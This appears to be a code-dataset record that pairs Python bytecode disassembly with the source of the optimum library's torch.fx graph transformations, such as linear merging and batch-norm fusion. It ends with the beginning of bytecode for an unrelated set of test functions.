LOAD_CONST <code object transform at 0x7fab54381ae0, file "f.py", line 762> LOAD_CONST 'DeepCopy.transform' MAKE_FUNCTION STORE_NAME transform LOAD_CONST 'GraphModule' LOAD_CONST 'GraphModule' LOAD_CONST ('graph_module', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object reverse at 0x7fab54381930, file "f.py", line 769> LOAD_CONST 'DeepCopy.reverse' MAKE_FUNCTION STORE_NAME reverse LOAD_CONST None RETURN_VALUE LOAD_GLOBAL copy LOAD_METHOD deepcopy LOAD_FAST graph_module CALL_METHOD STORE_FAST clone SETUP_LOOP to 60 LOAD_GLOBAL zip LOAD_FAST graph_module LOAD_ATTR graph LOAD_ATTR nodes LOAD_FAST clone LOAD_ATTR graph LOAD_ATTR nodes CALL_FUNCTION GET_ITER FOR_ITER to 58 UNPACK_SEQUENCE STORE_FAST n1 STORE_FAST n2 LOAD_GLOBAL hasattr LOAD_FAST n1 LOAD_CONST 'transformations' CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST n1 LOAD_ATTR transformations LOAD_FAST n2 STORE_ATTR transformations JUMP_ABSOLUTE POP_BLOCK LOAD_FAST clone RETURN_VALUE LOAD_FAST self LOAD_METHOD transform LOAD_FAST graph_module CALL_METHOD RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'LintAndRecompile' STORE_NAME __qualname__ LOAD_CONST '\n Transformation that does nothing except linting and recompiling the graph module.\n ' STORE_NAME __doc__ LOAD_CONST True STORE_NAME preserves_computation LOAD_CONST 'GraphModule' LOAD_CONST 'GraphModule' LOAD_CONST ('graph_module', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object transform at 0x7fab54381a50, file "f.py", line 780> LOAD_CONST 'LintAndRecompile.transform' MAKE_FUNCTION STORE_NAME transform LOAD_CONST 'GraphModule' LOAD_CONST 'GraphModule' LOAD_CONST ('graph_module', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object reverse at 0x7fab54381810, file "f.py", line 785> LOAD_CONST 'LintAndRecompile.reverse' MAKE_FUNCTION STORE_NAME reverse LOAD_CONST None RETURN_VALUE LOAD_FAST graph_module LOAD_ATTR graph LOAD_METHOD lint CALL_METHOD POP_TOP LOAD_FAST graph_module LOAD_METHOD recompile CALL_METHOD POP_TOP LOAD_FAST graph_module RETURN_VALUE LOAD_FAST self LOAD_METHOD transform LOAD_FAST graph_module CALL_METHOD RETURN_VALUE LOAD_GLOBAL list LOAD_GLOBAL reversed LOAD_FAST args CALL_FUNCTION CALL_FUNCTION STORE_DEREF transformations LOAD_GLOBAL all LOAD_CONST <code object <genexpr> at 0x7fab54381f60, file "f.py", line 821> LOAD_CONST 'compose.<locals>.<genexpr>' MAKE_FUNCTION LOAD_DEREF transformations GET_ITER CALL_FUNCTION CALL_FUNCTION STORE_DEREF composition_preserves_computation LOAD_GLOBAL all LOAD_CONST <code object <genexpr> at 0x7fab54381c00, file "f.py", line 824> LOAD_CONST 'compose.<locals>.<genexpr>' MAKE_FUNCTION LOAD_DEREF transformations GET_ITER CALL_FUNCTION CALL_FUNCTION STORE_FAST composition_is_reversible LOAD_FAST inplace POP_JUMP_IF_TRUE LOAD_DEREF transformations LOAD_METHOD append LOAD_GLOBAL DeepCopy CALL_FUNCTION CALL_METHOD POP_TOP LOAD_FAST composition_is_reversible POP_JUMP_IF_TRUE LOAD_CONST <code object reduce_fn at 0x7fab543819c0, file "f.py", line 832> LOAD_CONST 'compose.<locals>.reduce_fn' MAKE_FUNCTION STORE_DEREF reduce_fn LOAD_BUILD_CLASS LOAD_CLOSURE ComposeTransformation LOAD_CLOSURE composition_preserves_computation LOAD_CLOSURE reduce_fn LOAD_CLOSURE transformations BUILD_TUPLE LOAD_CONST <code object ComposeTransformation at 0x7fab81f08030, file "f.py", line 838> LOAD_CONST 'ComposeTransformation' MAKE_FUNCTION LOAD_CONST 'ComposeTransformation' LOAD_GLOBAL Transformation CALL_FUNCTION STORE_DEREF ComposeTransformation JUMP_FORWARD to 138 LOAD_CONST <code object make_reduce_fn at 0x7fab81f081e0, file "f.py", line 848> LOAD_CONST 'compose.<locals>.make_reduce_fn' MAKE_FUNCTION STORE_DEREF make_reduce_fn LOAD_BUILD_CLASS LOAD_CLOSURE ComposeTransformation LOAD_CLOSURE composition_preserves_computation LOAD_CLOSURE make_reduce_fn LOAD_CLOSURE transformations BUILD_TUPLE LOAD_CONST <code object ComposeTransformation at 0x7fab81f08420, file "f.py", line 867> LOAD_CONST 'ComposeTransformation' MAKE_FUNCTION LOAD_CONST 'ComposeTransformation' LOAD_GLOBAL ReversibleTransformation CALL_FUNCTION STORE_DEREF ComposeTransformation LOAD_DEREF ComposeTransformation CALL_FUNCTION RETURN_VALUE LOAD_FAST .0 FOR_ITER to 16 STORE_FAST t LOAD_FAST t LOAD_ATTR preserves_computation YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_FAST .0 FOR_ITER to 20 STORE_FAST t LOAD_GLOBAL isinstance LOAD_FAST t LOAD_GLOBAL ReversibleTransformation CALL_FUNCTION YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_CONST (False,) LOAD_CLOSURE f LOAD_CLOSURE g BUILD_TUPLE LOAD_CONST <code object composition at 0x7fab54381d20, file "f.py", line 833> LOAD_CONST 'compose.<locals>.reduce_fn.<locals>.composition' MAKE_FUNCTION STORE_FAST composition LOAD_FAST composition RETURN_VALUE LOAD_DEREF f LOAD_DEREF g LOAD_FAST graph_module LOAD_FAST lint_and_recompile LOAD_CONST ('lint_and_recompile',) CALL_FUNCTION CALL_FUNCTION RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'compose.<locals>.ComposeTransformation' STORE_NAME __qualname__ LOAD_CLASSDEREF composition_preserves_computation STORE_NAME preserves_computation LOAD_NAME functools LOAD_METHOD reduce LOAD_CLASSDEREF reduce_fn LOAD_CLASSDEREF transformations CALL_METHOD STORE_NAME _composition LOAD_CLOSURE ComposeTransformation BUILD_TUPLE LOAD_CONST <code object transform at 0x7fab543815d0, file "f.py", line 843> LOAD_CONST 'compose.<locals>.ComposeTransformation.transform' MAKE_FUNCTION STORE_NAME transform LOAD_CONST None RETURN_VALUE LOAD_DEREF ComposeTransformation LOAD_METHOD _composition LOAD_FAST graph_module CALL_METHOD RETURN_VALUE LOAD_CLOSURE reverse BUILD_TUPLE LOAD_CONST <code object reduce_fn at 0x7fab81f08150, file "f.py", line 849> LOAD_CONST 'compose.<locals>.make_reduce_fn.<locals>.reduce_fn' MAKE_FUNCTION STORE_FAST reduce_fn LOAD_FAST reduce_fn RETURN_VALUE LOAD_CONST False LOAD_DEREF reverse BUILD_TUPLE LOAD_CLOSURE f LOAD_CLOSURE g BUILD_TUPLE LOAD_CONST <code object composition at 0x7fab81f080c0, file "f.py", line 850> LOAD_CONST 'compose.<locals>.make_reduce_fn.<locals>.reduce_fn.<locals>.composition' MAKE_FUNCTION STORE_FAST composition LOAD_FAST composition RETURN_VALUE LOAD_DEREF f LOAD_DEREF g LOAD_FAST graph_module LOAD_FAST lint_and_recompile LOAD_FAST reverse LOAD_CONST ('lint_and_recompile', 'reverse') CALL_FUNCTION LOAD_FAST lint_and_recompile LOAD_FAST reverse LOAD_CONST ('lint_and_recompile', 'reverse') CALL_FUNCTION RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'compose.<locals>.ComposeTransformation' STORE_NAME __qualname__ LOAD_CLASSDEREF composition_preserves_computation STORE_NAME preserves_computation LOAD_NAME functools LOAD_METHOD reduce LOAD_CLASSDEREF make_reduce_fn LOAD_CONST False CALL_FUNCTION LOAD_CLASSDEREF transformations CALL_METHOD STORE_NAME _composition LOAD_NAME functools LOAD_METHOD reduce LOAD_CLASSDEREF make_reduce_fn LOAD_CONST True CALL_FUNCTION LOAD_NAME reversed LOAD_CLASSDEREF transformations CALL_FUNCTION CALL_METHOD STORE_NAME _reverse_composition LOAD_CLOSURE ComposeTransformation BUILD_TUPLE LOAD_CONST <code object transform at 0x7fab81f08270, file "f.py", line 875> LOAD_CONST 'compose.<locals>.ComposeTransformation.transform' MAKE_FUNCTION STORE_NAME transform LOAD_CLOSURE ComposeTransformation BUILD_TUPLE LOAD_CONST <code object reverse at 0x7fab81f08300, file "f.py", line 878> LOAD_CONST 'compose.<locals>.ComposeTransformation.reverse' MAKE_FUNCTION STORE_NAME reverse LOAD_CONST None RETURN_VALUE LOAD_DEREF ComposeTransformation LOAD_METHOD _composition LOAD_FAST graph_module CALL_METHOD RETURN_VALUE LOAD_DEREF ComposeTransformation LOAD_METHOD _reverse_composition LOAD_FAST graph_module CALL_METHOD RETURN_VALUE
import collections import copy import functools import itertools import operator import warnings from abc import ABC, abstractmethod from typing import TYPE_CHECKING, List import torch from transformers.file_utils import add_end_docstrings from transformers.utils.fx import _gen_constructor_wrapper if TYPE_CHECKING: from torch.fx import GraphModule, Node _ATTRIBUTES_DOCSTRING = r""" Attributes: preserves_computation (`bool`, defaults to `False`): Whether the transformation preserves the graph computation or not. If `True`, the original and the transformed graph should produce the same outputs. """ _EXAMPLE_DOCSTRING = r""" ```python >>> from transformers import BertModel >>> from transformers.utils.fx import symbolic_trace >>> from optimum.fx.optimization import {class_name} >>> model = BertModel.from_pretrained("bert-base-uncased") >>> traced = symbolic_trace( ... model, ... input_names=["input_ids", "attention_mask", "token_type_ids"], ... ) >>> transformation = {class_name}() >>> transformed_model = transformation(traced) ``` """ _REVERSIBLE_EXAMPLE_DOCSTRING = r""" ```python >>> from transformers import BertModel >>> from transformers.utils.fx import symbolic_trace >>> from optimum.fx.optimization import {class_name} >>> model = BertModel.from_pretrained("bert-base-uncased") >>> traced = symbolic_trace( ... model, ... input_names=["input_ids", "attention_mask", "token_type_ids"], ... ) >>> transformation = {class_name}() >>> transformed_model = transformation(traced) >>> restored_model = transformation(transformed_model, reverse=True) ``` """ def add_docstring(add_example=True): def wrapper(class_): example_docstring = _EXAMPLE_DOCSTRING if "ReversibleTransformation" in (cls.__name__ for cls in class_.mro()): example_docstring = _REVERSIBLE_EXAMPLE_DOCSTRING new_doc = [f"{class_.__doc__}", f"{_ATTRIBUTES_DOCSTRING}"] if add_example: new_doc.append("Example:") new_doc.append(f"\t{example_docstring.format(class_name=class_.__name__)}") class_.__doc__ = "\n".join(new_doc) return class_ return wrapper @add_docstring(add_example=False) class Transformation(ABC): """ A torch.fx graph transformation. It must implement the [`~optimum.fx.optimization.ReversibleTransformation.transform`] method, and be used as a callable. """ preserves_computation: bool = False @abstractmethod def transform(self, graph_module: "GraphModule") -> "GraphModule": """ Args: graph_module (`torch.fx.GraphModule`): The module to transform. Returns: `torch.fx.GraphModule`: The transformed module. """ raise NotImplementedError("The transform method needs to be implemented.") def __call__( self, graph_module: "GraphModule", lint_and_recompile: bool = True ) -> "GraphModule": """ Args: graph_module (`torch.fx.GraphModule`): The module to transform. lint_and_recompile (`bool`, defaults to `True`): Whether the transformed module should be linted and recompiled. This can be set to `False` when chaining transformations together to perform this operation only once. Returns: `torch.fx.GraphModule`: The transformed module. """ graph_module = self.transform(graph_module) if lint_and_recompile: graph_module.graph.lint() graph_module.recompile() return graph_module @property def signature(self): """ Returns a hash that can be used to identify the transformation. """ attributes_to_use_for_hashing = vars(self) attributes_to_use_for_hashing[""] = self.__class__ hash_str = "_".join( f"{k}_{hash(v)}" for k, v in attributes_to_use_for_hashing.items() ) return hash(hash_str) def mark_as_transformed(self, node: "Node"): """ Marks a node as transformed by this transformation. Args: node (`torch.fx.Node`): The node to mark as transformed. """ node_transformations = getattr(node, "transformations", set()) node_transformations.add(self.signature) node.transformations = node_transformations def transformed(self, node: "Node") -> bool: """ Args: node (`torch.fx.Node`): The node to check. Returns: `bool`: Specifies whether the node was transformed by this transformation or not. """ return self.signature in getattr(node, "transformations", set()) def get_transformed_nodes(self, graph_module: "GraphModule") -> List["Node"]: """ Args: graph_module (`torch.fx.GraphModule`): The graph_module to get the nodes from. Returns: `List[torch.fx.Node]`: Gives the list of nodes that were transformed by the transformation. """ return [node for node in graph_module.graph.nodes if self.transformed(node)] @add_docstring(add_example=False) class ReversibleTransformation(Transformation): """ A torch.fx graph transformation that is reversible. It must implement the [`~optimum.fx.optimization.ReversibleTransformation.transform`] and [`~optimum.fx.optimization.ReversibleTransformation.reverse`] methods, and be used as a callable. """ @abstractmethod def reverse(self, graph_module: "GraphModule") -> "GraphModule": """ Args: graph_module (`torch.fx.GraphModule`): The module to transform. Returns: `torch.fx.GraphModule`: The reverse transformed module. """ raise NotImplementedError( "The reverse transform method needs to be implemented." ) def __call__( self, graph_module: "GraphModule", lint_and_recompile: bool = True, reverse: bool = False, ) -> "GraphModule": """ Args: graph_module (`torch.fx.GraphModule`): The module to transform. lint_and_recompile (`bool`, defaults to `True`): Whether the transformed module should be linted and recompiled. This can be set to `False` when chaining transformations together to perform this operation only once. reverse (`bool`, defaults to `False`): If `True`, the reverse transformation is performed. Returns: `torch.fx.GraphModule`: The transformed module. """ func = self.transform if not reverse else self.reverse graph_module = func(graph_module) if lint_and_recompile: graph_module.graph.lint() graph_module.recompile() return graph_module def mark_as_restored(self, node: "Node"): """ Marks a node as restored back to its original state. Args: node (`torch.fx.Node`): The node to mark as restored. """ node_transformations = getattr(node, "transformations", set()) if self.signature not in node_transformations: raise ValueError("The node was not transformed by this transformation.") node_transformations.remove(self.signature) @add_docstring() class MergeLinears(ReversibleTransformation): """ Transformation that merges linear layers that take the same input into one big linear layer. """ preserves_computation = True @staticmethod def _get_bias(linear: torch.nn.Linear) -> torch.Tensor: if linear.bias is not None: return linear.bias return torch.zeros(linear.out_features, dtype=linear.weight.dtype).to( linear.weight.device ) @staticmethod def _get_linear_module_name(linear_node): return linear_node.target.split(".")[-1] @staticmethod def _linear_node_to_module_and_attribute_name(graph_module, linear_node_target): names = linear_node_target.split(".") mod = graph_module if len(names) > 1: for name in names[:-1]: mod = getattr(mod, name) return mod, names[-1] def _merge_linears( self, graph_module: "GraphModule", input_node: "Node", linear_nodes: List["Node"], linears: List[torch.nn.Linear], ): in_features = linears[0].in_features out_features = [linear.out_features for linear in linears] total_out_features = sum(out_features) use_bias = any(hasattr(linear, "bias") for linear in linears) if use_bias and not all(hasattr(linear, "bias") for linear in linears): warnings.warn( "Not all the linear layers that are merged contain a bias, but some do. By merging, this is equivalent " "to adding a bias to the layers missing one." ) merged_linear = torch.nn.Linear( in_features, total_out_features, bias=use_bias, ) dtype = linears[0].weight.dtype device = linears[0].weight.device with torch.no_grad(): new_weight = torch.cat([linear.weight for linear in linears], dim=0).to( dtype=dtype, device=device ) merged_linear.weight = torch.nn.Parameter(new_weight) if use_bias: new_bias = torch.cat( [MergeLinears._get_bias(linear) for linear in linears], dim=0 ).to(dtype=dtype, device=device) merged_linear.bias = torch.nn.Parameter(new_bias) linear_module_names = [ MergeLinears._get_linear_module_name(node) for node in linear_nodes ] merged_linear_name = "-".join(linear_module_names + ["merged"]) fully_qualified_parent_name = linear_nodes[0].target.rsplit(".", maxsplit=1)[0] parent_module = graph_module.get_submodule(fully_qualified_parent_name) parent_module.add_module(merged_linear_name, merged_linear) for linear_node in linear_nodes: mod, name = MergeLinears._linear_node_to_module_and_attribute_name( graph_module, linear_node.target ) delattr(mod, name) graph = graph_module.graph with graph.inserting_before(linear_nodes[0]): fully_qualified_merged_linear_name = ".".join( [fully_qualified_parent_name, merged_linear_name] ) merged_linear_node = graph.call_module( fully_qualified_merged_linear_name, args=(input_node,) ) self.mark_as_transformed(merged_linear_node) merged_linear_node.linear_node_targets = [n.target for n in linear_nodes] accum_out_features = list(itertools.accumulate([0] + out_features)) for idx, node in enumerate(linear_nodes): node.op = "call_function" node.target = operator.getitem slice_to_get = slice(accum_out_features[idx], accum_out_features[idx + 1]) node.args = (merged_linear_node, (Ellipsis, slice_to_get)) @staticmethod def _unmerge_linears( graph_module: "GraphModule", merged_linear_node: "Node", merged_linear: torch.nn.Linear, ): linear_node_targets = merged_linear_node.linear_node_targets output_nodes = sorted( merged_linear_node.users, key=lambda node: node.args[1][1].start ) in_features = merged_linear.in_features out_features = [] for node in output_nodes: slice_to_get = node.args[1][1] out_features.append(slice_to_get.stop - slice_to_get.start) linears = [ torch.nn.Linear( in_features, out_feat, bias=hasattr(merged_linear, "bias"), device=merged_linear.weight.device, dtype=merged_linear.weight.dtype, ) for out_feat in out_features ] for target, node, linear in zip(linear_node_targets, output_nodes, linears): with torch.no_grad(): slice_to_get = node.args[1][1] linear.weight = torch.nn.Parameter( merged_linear.weight[slice_to_get.start : slice_to_get.stop] ) if hasattr(merged_linear, "bias"): linear.bias = torch.nn.Parameter( merged_linear.bias[slice_to_get.start : slice_to_get.stop] ) ( parent_module, name, ) = MergeLinears._linear_node_to_module_and_attribute_name( graph_module, target ) parent_module.add_module(name, linear) node.op = "call_module" node.target = target node.args = (merged_linear_node.args[0],) ( parent_module, merged_linear_name, ) = MergeLinears._linear_node_to_module_and_attribute_name( graph_module, merged_linear_node.target ) delattr(parent_module, merged_linear_name) graph_module.graph.erase_node(merged_linear_node) def transform(self, graph_module: "GraphModule") -> "GraphModule": candidates = collections.defaultdict(list) for node in graph_module.graph.nodes: if node.op == "call_module": mod = graph_module.get_submodule(node.target) if isinstance(mod, torch.nn.Linear): input_node = node.args[0] candidates[input_node].append((node, mod)) candidates = {k: v for k, v in candidates.items() if len(v) > 1} for input_node, t in candidates.items(): linear_nodes, linears = list(zip(*t)) self._merge_linears(graph_module, input_node, linear_nodes, linears) return graph_module def reverse(self, graph_module: "GraphModule") -> "GraphModule": for node in self.get_transformed_nodes(graph_module): self._unmerge_linears( graph_module, node, graph_module.get_submodule(node.target) ) return graph_module @add_docstring() class FuseBiasInLinear(ReversibleTransformation): """ Transformation that fuses the bias to the weight in torch.nn.Linear. """ preserves_computation = True def transform(self, graph_module: "GraphModule") -> "GraphModule": torch_ones = _gen_constructor_wrapper(torch.ones)[0] def insert_concat(linear_input): shape = linear_input.shape[:-1] + (1,) return torch.cat( [linear_input, torch_ones(shape, device=linear_input.device)], dim=-1 ) tracer = torch.fx.proxy.GraphAppendingTracer(graph_module.graph) for node in graph_module.graph.nodes: if node.op == "call_module": module = graph_module.get_submodule(node.target) if isinstance(module, torch.nn.Linear) and module.bias is not None: with graph_module.graph.inserting_before(node): n = node.args[0] node.nodes_to_ignore = set() while n is not node: node.nodes_to_ignore.add(n) n = n.next linear_input_proxy = torch.fx.Proxy(node.args[0], tracer) output_proxy = insert_concat(linear_input_proxy) node.start_node = linear_input_proxy.node node.end_node = output_proxy.node node.args = (output_proxy.node,) self.mark_as_transformed(node) new_weight = torch.nn.Parameter( torch.cat([module.weight, module.bias[:, None]], dim=1) ) module.weight = new_weight module.bias = None return graph_module def reverse(self, graph_module: "GraphModule") -> "GraphModule": for node in self.get_transformed_nodes(graph_module): node.args = (node.start_node,) n = node.end_node while n is not node.start_node: if n not in node.nodes_to_ignore: graph_module.graph.erase_node(n) n = n.prev self.mark_as_restored(node) module = graph_module.get_submodule(node.target) new_weight = torch.nn.Parameter(module.weight[:, :-1]) new_bias = torch.nn.Parameter(module.weight[:, -1].squeeze()) module.weight = new_weight module.bias = new_bias return graph_module @add_docstring() class ChangeTrueDivToMulByInverse(ReversibleTransformation): """ Transformation that changes truediv nodes to multiplication by the inverse nodes when the denominator is static. For example, that is sometimes the case for the scaling factor in attention layers. """ preserves_computation = True def transform(self, graph_module: "GraphModule") -> "GraphModule": graph = graph_module.graph for node in graph.nodes: if node.op == "call_function" and node.target == operator.truediv: x, y = node.args if not isinstance(y, torch.fx.Node): node.target = operator.mul node.args = (x, 1 / y) self.mark_as_transformed(node) return graph_module def reverse(self, graph_module: "GraphModule") -> "GraphModule": for node in self.get_transformed_nodes(graph_module): node.target = operator.truediv x, y = node.args node.args = (x, 1 / y) self.mark_as_restored(node) return graph_module @add_end_docstrings(_ATTRIBUTES_DOCSTRING) class FuseBatchNorm2dInConv2d(Transformation): """ Transformation that fuses `nn.BatchNorm2d` following `nn.Conv2d` into a single `nn.Conv2d`. The fusion will be done only if the convolution has the batch normalization as sole following node. For example, fusion will not be done in the case ``` Conv2d / \\ / \\ ReLU BatchNorm2d ``` Example: ```python >>> from transformers.utils.fx import symbolic_trace >>> from transformers import AutoModelForImageClassification >>> from optimum.fx.optimization import FuseBatchNorm2dInConv2d >>> model = AutoModelForImageClassification.from_pretrained("microsoft/resnet-50") >>> model.eval() # doctest: +IGNORE_RESULT >>> traced_model = symbolic_trace( ... model, ... input_names=["pixel_values"], ... disable_check=True ... ) >>> transformation = FuseBatchNorm2dInConv2d() >>> transformed_model = transformation(traced_model) ``` """ preserves_computation = True def transform(self, graph_module: "GraphModule") -> "GraphModule": for node in graph_module.graph.nodes: if node.op == "call_module" and node.args[0].op == "call_module": if ( type(graph_module.get_submodule(node.target)) is torch.nn.BatchNorm2d and type(graph_module.get_submodule(node.args[0].target)) is torch.nn.Conv2d ): if ( len(node.args[0].users) > 1 ): # Output of conv is used by other nodes continue fused_conv = self.fuse( conv2d=graph_module.get_submodule(node.args[0].target), bn2d=graph_module.get_submodule(node.target), ) parent_name, _, name = node.args[0].target.rpartition(".") parent_module = graph_module.get_submodule(parent_name) setattr(parent_module, name, fused_conv) parent_name, _, name = node.target.rpartition(".") parent_module = graph_module.get_submodule(parent_name) delattr(parent_module, name) node.replace_all_uses_with(node.args[0]) graph_module.graph.erase_node(node) return graph_module def fuse(self, conv2d: torch.nn.Conv2d, bn2d: torch.nn.BatchNorm2d): conv_b = ( conv2d.bias if conv2d.bias is not None else torch.zeros_like(bn2d.running_mean) ) bn_w = ( bn2d.weight if bn2d.weight is not None else torch.ones_like(bn2d.running_mean) ) bn_b = ( bn2d.bias if bn2d.bias is not None else torch.ones_like(bn2d.running_mean) ) bn_var_rsqrt = torch.rsqrt(bn2d.running_var + bn2d.eps) conv2d.weight = torch.nn.Parameter( conv2d.weight * (bn_w * bn_var_rsqrt).reshape([-1] + [1] * (len(conv2d.weight.shape) - 1)) ) conv2d.bias = torch.nn.Parameter( conv_b - bn2d.running_mean * bn_var_rsqrt * bn_w + bn_b ) return conv2d @add_end_docstrings(_ATTRIBUTES_DOCSTRING) class FuseBatchNorm1dInLinear(Transformation): """ Transformation that fuses `nn.BatchNorm1d` following or preceding `nn.Linear` into a single `nn.Linear`. The fusion will be done only if the linear layer has the batch normalization as sole following node, or the batch normalization has the linear layer as sole following node. For example, fusion will not be done in the case ``` Linear / \\ / \\ ReLU BatchNorm1d ``` Example: ```python >>> from transformers.utils.fx import symbolic_trace >>> from transformers import AutoModel >>> from optimum.fx.optimization import FuseBatchNorm1dInLinear >>> model = AutoModel.from_pretrained("nvidia/groupvit-gcc-yfcc") >>> model.eval() # doctest: +IGNORE_RESULT >>> traced_model = symbolic_trace( ... model, ... input_names=["input_ids", "attention_mask", "pixel_values"], ... disable_check=True ... ) >>> transformation = FuseBatchNorm1dInLinear() >>> transformed_model = transformation(traced_model) ``` """ preserves_computation = True def transform(self, graph_module: "GraphModule") -> "GraphModule": for node in graph_module.graph.nodes: if node.op == "call_module" and node.args[0].op == "call_module": if ( type(graph_module.get_submodule(node.target)) is torch.nn.BatchNorm1d and type(graph_module.get_submodule(node.args[0].target)) is torch.nn.Linear ): if ( len(node.args[0].users) > 1 ): # Output of linear is used by other nodes continue candidate_linear = graph_module.get_submodule(node.args[0].target) candidate_batchnorm1d = graph_module.get_submodule(node.target) if ( candidate_linear.weight.shape[0] == candidate_batchnorm1d.weight.shape[0] ): fused_linear = self.fuse( linear=candidate_linear, bn1d=candidate_batchnorm1d, bn1d_before=False, ) parent_name, _, name = node.args[0].target.rpartition(".") parent_module = graph_module.get_submodule(parent_name) setattr(parent_module, name, fused_linear) parent_name, _, name = node.target.rpartition(".") parent_module = graph_module.get_submodule(parent_name) delattr(parent_module, name) node.replace_all_uses_with(node.args[0]) graph_module.graph.erase_node(node) # delete BatchNorm1d elif ( type(graph_module.get_submodule(node.target)) is torch.nn.Linear and type(graph_module.get_submodule(node.args[0].target)) is torch.nn.BatchNorm1d ): if ( len(node.args[0].users) > 1 ): # Output of batchnorm is used by other nodes continue candidate_linear = graph_module.get_submodule(node.target) candidate_batchnorm1d = graph_module.get_submodule( node.args[0].target ) if ( candidate_batchnorm1d.weight.shape[0] == candidate_linear.weight.shape[1] ): fused_linear = self.fuse( linear=candidate_linear, bn1d=candidate_batchnorm1d, bn1d_before=True, ) parent_name, _, name = node.target.rpartition(".") parent_module = graph_module.get_submodule(parent_name) setattr(parent_module, name, fused_linear) parent_name, _, name = node.args[0].target.rpartition(".") parent_module = graph_module.get_submodule(parent_name) delattr(parent_module, name) batchnorm_node = node.args[0] node.args[0].replace_all_uses_with(node.args[0].args[0]) graph_module.graph.erase_node( batchnorm_node ) # delete BatchNorm1d return graph_module def fuse( self, linear: torch.nn.Linear, bn1d: torch.nn.BatchNorm1d, bn1d_before: bool ): linear_b = ( linear.bias if linear.bias is not None else torch.zeros_like(bn1d.running_mean) ) bn_w = ( bn1d.weight if bn1d.weight is not None else torch.ones_like(bn1d.running_mean) ) bn_b = ( bn1d.bias if bn1d.bias is not None else torch.ones_like(bn1d.running_mean) ) bn_var_rsqrt = torch.rsqrt(bn1d.running_var + bn1d.eps) if bn1d_before: linear.bias = torch.nn.Parameter( linear.weight @ (-bn_w * bn1d.running_mean * bn_var_rsqrt + bn_b) + linear_b ) linear.weight = torch.nn.Parameter( linear.weight * (bn_w * bn_var_rsqrt)[None, :] ) else: linear.bias = torch.nn.Parameter( (linear_b - bn1d.running_mean) * bn_var_rsqrt * bn_w + bn_b ) linear.weight = torch.nn.Parameter( linear.weight * (bn_w * bn_var_rsqrt)[:, None] ) return linear class DeepCopy(ReversibleTransformation): """ Transformation that does nothing except making a deepcopy of the graph module. """ preserves_computation = True def transform(self, graph_module: "GraphModule") -> "GraphModule": clone = copy.deepcopy(graph_module) for n1, n2 in zip(graph_module.graph.nodes, clone.graph.nodes): if hasattr(n1, "transformations"): n2.transformations = n1.transformations return clone def reverse(self, graph_module: "GraphModule") -> "GraphModule": return self.transform(graph_module) class LintAndRecompile(ReversibleTransformation): """ Transformation that does nothing except linting and recompiling the graph module. """ preserves_computation = True def transform(self, graph_module: "GraphModule") -> "GraphModule": graph_module.graph.lint() graph_module.recompile() return graph_module def reverse(self, graph_module: "GraphModule") -> "GraphModule": return self.transform(graph_module) def compose(*args: Transformation, inplace: bool = True) -> Transformation: """ Composes a list of transformations together. Args: args ([`~optimum.fx.optimization.Transformation`]): The transformations to compose together. inplace (`bool`, defaults to `True`): Whether the resulting transformation should be inplace, or create a new graph module. Returns: The composition transformation object. Example: ```python >>> from transformers import BertModel >>> from transformers.utils.fx import symbolic_trace >>> from optimum.fx.optimization import ChangeTrueDivToMulByInverse, MergeLinears, compose >>> model = BertModel.from_pretrained("bert-base-uncased") >>> traced = symbolic_trace( ... model, ... input_names=["input_ids", "attention_mask", "token_type_ids"], ... ) >>> composition = compose(ChangeTrueDivToMulByInverse(), MergeLinears()) >>> transformed_model = composition(traced) ``` """ transformations = list(reversed(args)) composition_preserves_computation = all( t.preserves_computation for t in transformations ) composition_is_reversible = all( (isinstance(t, ReversibleTransformation) for t in transformations) ) if not inplace: transformations.append(DeepCopy()) if not composition_is_reversible: def reduce_fn(f, g): def composition(graph_module, lint_and_recompile=False): return f(g(graph_module, lint_and_recompile=lint_and_recompile)) return composition class ComposeTransformation(Transformation): preserves_computation = composition_preserves_computation _composition = functools.reduce(reduce_fn, transformations) def transform(self, graph_module): return ComposeTransformation._composition(graph_module) else: def make_reduce_fn(reverse): def reduce_fn(f, g): def composition( graph_module, lint_and_recompile=False, reverse=reverse ): return f( g( graph_module, lint_and_recompile=lint_and_recompile, reverse=reverse, ), lint_and_recompile=lint_and_recompile, reverse=reverse, ) return composition return reduce_fn class ComposeTransformation(ReversibleTransformation): preserves_computation = composition_preserves_computation _composition = functools.reduce(make_reduce_fn(False), transformations) _reverse_composition = functools.reduce( make_reduce_fn(True), reversed(transformations) ) def transform(self, graph_module): return ComposeTransformation._composition(graph_module) def reverse(self, graph_module): return ComposeTransformation._reverse_composition(graph_module) return ComposeTransformation()
data/optimum-1.17.1/optimum/fx/optimization/transformations.py
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LOAD_CONST 0 LOAD_CONST None IMPORT_NAME os STORE_NAME os LOAD_CONST 0 LOAD_CONST None IMPORT_NAME subprocess STORE_NAME subprocess LOAD_NAME os LOAD_METHOD getenv LOAD_CONST 'PIPELINE_MODELING_TOOL' CALL_METHOD STORE_NAME pipeline_modeling_tool LOAD_CONST <code object get_output at 0x7fab82053030, file "f.py", line 7> LOAD_CONST 'get_output' MAKE_FUNCTION STORE_NAME get_output LOAD_CONST <code object test_error_no_config_specified at 0x7fab82053c90, file "f.py", line 19> LOAD_CONST 'test_error_no_config_specified' MAKE_FUNCTION STORE_NAME test_error_no_config_specified LOAD_CONST <code object test_error_no_config_exists at 0x7fab823b28a0, file "f.py", line 24> LOAD_CONST 'test_error_no_config_exists' MAKE_FUNCTION STORE_NAME test_error_no_config_exists LOAD_CONST <code object test_error_work_time_not_positive at 0x7fab823b2e40, file "f.py", line 32> LOAD_CONST 'test_error_work_time_not_positive' MAKE_FUNCTION STORE_NAME test_error_work_time_not_positive LOAD_CONST <code object test_error_no_pipelines at 0x7fab823b24b0, file "f.py", line 41> LOAD_CONST 'test_error_no_pipelines' MAKE_FUNCTION STORE_NAME test_error_no_pipelines LOAD_CONST <code object test_error_pipelines_node_not_map at 0x7fab823b2db0, file "f.py", line 50> LOAD_CONST 'test_error_pipelines_node_not_map' MAKE_FUNCTION STORE_NAME 